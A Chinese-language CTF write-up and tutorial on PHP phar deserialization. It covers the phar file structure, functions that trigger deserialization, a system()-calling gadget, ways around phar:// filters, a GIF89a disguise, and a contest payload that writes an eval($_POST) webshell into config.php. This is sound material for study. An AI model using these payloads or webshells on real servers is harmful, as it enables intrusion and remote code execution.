phar反序列化
前段时间纵横杯遇到一题反序列化,当时队友做出来了,赛后尝试复现一下,并总结反序列化内容
phar的本质是一种压缩文件,会以序列化的形式存储用户自定义的meta-data
Phar文件结构
stub:phar文件标识,以 __HALT_COMPILER();?>结尾
manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data
contents:压缩文件的内容
signature:签名,在文件末尾
测试
首先将php.ini中的phar.readonly置为Off,否则无法生成phar文件,而且这个参数是无法通过ini_set()进行修改的。
生成phar文件
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$o ->data = 'th1e';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
打开文件可以看到,以序列化储存的文件
构造利用代码
class TestObject{
function __destruct(){
echo $this->data;
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
?filename=phar://phar.phar/test.txt
成功打印结果
php的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇总结了以下函数
其实不止如此,只要调用了php_stream_open_wrapper的函数,都存在这样的问题,经测试,网上提供的如下函数也都可以:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
mime_content_type
standard
getimagesize
getimagesizefromstring
finfo
finfo_file
finfo_buffer
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Postgres
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
MySQL
LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。(非默认配置)
[mysqld]
local-infile=1
secure_file_priv=""
Trick
过滤phar://协议的绕过方式
compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://
文件格式绕过
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
增加了GIF89a文件头,从而使其伪装成gif文件
例子
2020纵横杯hello_php
文件泄漏下载
config.php
发现后台用户名密码登陆后台
登陆后发现上传接口
class.php
存在phar://反序列化漏洞
Payload
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct(){
$this->title= 'th1e\';echo success;@eval($_POST['th1e']);?>';
}
}
$phar = new Phar("aaa.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'');
$object = new Config;
$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a.txt", "a"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传记录时间戳得到文件名
Index.php
发现函数file_exists
hello_php/index.php?img=phar://static/457b8d1367383f104cc8e3f8f3bf15d1.jpg/a.txt
此时在看config文件已经写入一句话
蚁剑连接
总结
PHP很多框架中文件操作函数使用频繁,Phar反序列的点很多,但随着PHP8的诞生,phar不再进行反序列化,以后phar反序列化也将逐渐淡出人们的视野。
Reference
https://blog.csdn.net/qq_42181428/article/details/100995404